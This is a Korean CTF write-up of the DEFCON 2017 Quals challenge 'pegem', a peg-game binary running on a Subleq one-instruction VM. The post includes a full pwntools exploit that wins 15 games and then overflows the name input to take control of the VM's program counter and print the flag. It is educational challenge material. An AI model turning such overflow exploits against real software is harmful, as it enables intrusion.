DEFCON 2017 Quals - pegem
데프콘 2017 리버싱 엔지니어링 문제 pegem 풀이.
데프콘 예선 당시에는 "crackme" 들을 푼다고 사실상 포기하고 나중에 답만 보려 한 문제였는데 ctftime.org/writeups에도 안 올라오길래 기다리다 그냥 풀어보았다.
[+] 사실 푸는데 3일 이상 걸린 건 비밀입니다... ㅠㅠㅠㅠ
[+] 문노익(서빈)이는 보자마자 문제 의도 파악해버리셔따 ....
source git : https://github.com/ddddhkim/CTFs/tree/master/DEFCON/DEFCON2017_Quals/REV/pegem
하나하나 자세하게 정리하기에는 글이 너무 길어지니 간단한 건 미리 요약해두고 가겠습니다.
1. 64 bit elf binary. - file 명령어로 확인 가능
2. 간단한 고전 게임 "peg game". - 실행 시 확인 가능
3. 15번을 이겨야 된다. - 실행 시 확인 가능
4. 5초 안에 입력 해야됨. - signal 함수
5. Subleq instruction 하나로 구성 된 one instruction. - 함수 이름이 힌트
6. 취약한 서비스를 찾아야 됨. - IDA - String 검색
7. 6번의 유니코드 스트링이 위치한 곳이 서버 바이너리의 flag 위치. - 결과적으로는 주어진 바이너리와 서버의 바이너리는 다름.
One Instruction - (https://esolangs.org/wiki/Subleq)
[+] 간략하게 풀어 놓았기 때문에 궁금한 점이나 틀린 부분이 있다면 블로그 하단의 정보를 통해 contact 해주십시오. :D
[+] 특히 소스를 저만 알아볼 수 있도록 더럽게 짜놓아서 알아보기 힘드실 수 있습니당 데헤헷
바이너리를 실행해보면 다음과 같다.
ddddh@ubuntu:~/Desktop/pegem$ ./pegem
Ye old peg game.
Jump pegs by sending the source peg (ie: F), and destination space (ie: a) followed by a newline
Capital letters are pegs, lower-case letters are spaces
Win 15 times and you can call yourself the master of the peg game
a
B C
D E F
G H I J
K L M N O
Your move (q to quit): ddddh
Invalid Source
처음 주어진 "peg board" 중에서 소문자 문자는 하나다. 친절하게 설명문 대로 "Fa"를 입력하면 위치가 바뀐다.
ddddh@ubuntu:~/Desktop/pegem$ ./pegem
Ye old peg game.
Jump pegs by sending the source peg (ie: F), and destination space (ie: a) followed by a newline
Capital letters are pegs, lower-case letters are spaces
Win 15 times and you can call yourself the master of the peg game
a
B C
D E F
G H I J
K L M N O
Your move (q to quit): Fa
A
B c
D E f
G H I J
K L M N O
Your move (q to quit): Too Slow
위치가 바뀌면서 사이에 있던 문자들도 소문자로 바뀐다. 게임을 이기는 조건은 주어진 문자들을 모두 소문자로 바꿔주어야 하는 것 같다.
일단 바로 "python - peg game"에 관한 모듈이 있는지 구글 신 님께 검색했고 다행히 어떤 친절하신 분(lukesneeringer)께서 "peg game solver"를 만들어 놓으셨다.
[+] peg gmae solver (https://github.com/lukesneeringer/peggame)
필요한 소스는 "jason.py"으로 설명까지 주석으로 친절히 달아 놓으셨다. > ㅁ<
peg board 좌표를 어떤 식으로 입력해야 되는지 알았으니 "jason.py"를 약간 수정하고 소스를 짜주면 된다.
소스를 간략히 설명하자면 "pegem"바이너리의 보드들을 가져와 답을 구하는 소스다. ( 15번 돌려야 되는 건 비밀 )
ddddh@ubuntu:~/Desktop/pegem$ python exploit.py
[+] Starting local process '/home/ddddh/Desktop/pegem/pegem': pid 43746
Ye old peg game.
Jump pegs by sending the source peg (ie: F), and destination space (ie: a) followed by a newline
Capital letters are pegs, lower-case letters are spaces
Win 15 times and you can call yourself the master of the peg game
[01 game]Board : aBCDEFGHIJKLMNO
[02 game]Board : AbCDEFGHIJKLMNO
[03 game]Board : ABcDEFGHIJKLMNO
[04 game]Board : ABCdEFGHIJKLMNO
[05 game]Board : ABCDeFGHIJKLMNO
[06 game]Board : ABCDEfGHIJKLMNO
[07 game]Board : ABCDEFgHIJKLMNO
[08 game]Board : ABCDEFGhIJKLMNO
[09 game]Board : ABCDEFGHiJKLMNO
[10 game]Board : ABCDEFGHIjKLMNO
[11 game]Board : ABCDEFGHIJkLMNO
[12 game]Board : ABCDEFGHIJKlMNO
[13 game]Board : ABCDEFGHIJKLmNO
[14 game]Board : ABCDEFGHIJKLMnO
[15 game]Board : ABCDEFGHIJKLMNo
Game over. Pegs remaining 1. Great job!
Tell us your name:
[*] Process '/home/ddddh/Desktop/pegem/pegem' stopped with exit code 0 (pid 43746)
Congrats aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacx, you won all 15 combinations
Done
15 게임을 통과하게 되면 "Tell us your name:"이 출력되며 입력 값을 받는데 이곳에서 취약점이 터진다.
여기서 시간을 엄청 잡아먹었다... 멍청해서 ㅜㅜ
간단한 bof 취약점이길 빌며 입력 값을 하나씩 증가시켰지만 불행히 입력 길이가 0x125를 넘어가는 순간 에러만 뜬다. ( Segfalut 아님 ㅜㅜ)
할 수 없이 더 자세히 분석하기 위해 파이썬 코드로 구현을 했다.
3개의 오퍼랜드로 구성된 One instruction이라 소스 구현은 쉬웠다.
구현한 소스를 통해 필요한 순간순간 메모리 값을 출력할 수 있었고 덤프를 뜰 수 있었다.
[*] prog 는 one instruction 에서 사용되는 메모리.
[*] stdin 파일은 15게임 입력 값.
원하는 메모리 값들을 확인하면서 분석한 결과 어떠한 조건을 충족시키면 이름의 길이가 0x125 를 초과해 0x126이 되는 순간 pc의 값이 0x126의 값으로 바뀐다.
입력 값은 Prog Data의 offset 0x164 부터 적재되는데 오버플로우 되면서 오퍼랜드의 값으로 쓰일 데이터를 덮어버린다.
입력 값 0x124 ~ 0x126이 operand 3개 (operand A, operand B, operand C) 의 값으로 들어가면서 "memory[B] - memory[A]"의 결과가 0보다 크면 pc가 C의 값으로 셋팅된다.
결과적으로는 pc를 컨트롤 할 수 있게 되었고 "THE FLAG WILL BE HERE..." 영역을 출력해주면 된다.
payload를 생각해보면 다음과 같다.
1. 입력 값은 유니코드 형식으로 입력 받음.
2. memory[0xb2] 부터 입력 받음. (word로 계산.)
3. 오버플로우로 pc 제어 가능.
4. operand B의 값이 0xffff면 putchar() 를 사용해 memeory[operand A]의 값출력.
5. 빼기(Sub) 연산 가능.
빼기 연산만 가능하기 때문에 flag가 담겨있는 메모리 범위를 지정해 역으로 하나씩 출력해주면 된다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 | from pwn import * process = process('./pegem') stdin = open(r"stdin", "rb").read() process.send(stdin) process.recvuntil('your name: ') def one_instruction(A, B, C): return (chr(A) + chr(B) + chr(C)) # prog offset # b2 b3 b4 |putchar # b5 b6 b7 |loop # b8 b9 ba |set putchar B = 0xffff # bb bc bd |sub -1 # be bf c0 |jmp #putchar, if B = 0xffff: putchar(mem[A]), pc += 3 payload = one_instruction(0x40, 0x3f, 0x41) #loop, if mem[B] -= mem[A] >= 0: pc = C(0xbb) payload += one_instruction(0x00, 0x00, 0xbb) #set putchar B = 0xffff payload += one_instruction(0xb2, 0xb3, 0xbb) #sub -1, mem[B] -= mem[A] payload += one_instruction(0xbd, 0xb2, 0x01) #jmp payload += one_instruction(0x00, 0xb3, 0xb2) #overflow dummy set payload += "\x00" * (0x123 - len(payload)) #overflow payload += one_instruction(0x00, 0x00, 0xb8) process.sendline(payload) flag = process.recvall().replace("\x00", "").replace("\x0a", "")[::-1] print "Flag : ", flag ''' ddddh@ubuntu:~/Desktop/pegem$ python solver.py [+] Starting local process './pegem': pid 44334 [+] Receiving all data: Done (79B) [*] Process './pegem' stopped with exit code 0 (pid 44334) Flag : sserdda dilavnInTHE FLAG WILL BE HERE IN THE VULNERABLE SERVICE ''' | cs |
[+] 궁금한 점, 잘못된 점이 있으실 경우 블로그 하단의 정보를 통해 부담없이 연락 주세요 :D
'# write-up > - ctf' 카테고리의 다른 글
GoogleCTF 2017 - food (1) | 2017.06.19 |
---|---|
HUST 2017 - Mystic Crypt (0) | 2017.06.06 |
[Plaid CTF 2017] zamboni (0) | 2017.05.02 |
[DEFCON 2017] witchcraft (0) | 2017.05.02 |
[DEFCON 2017] sorcery (0) | 2017.05.02 |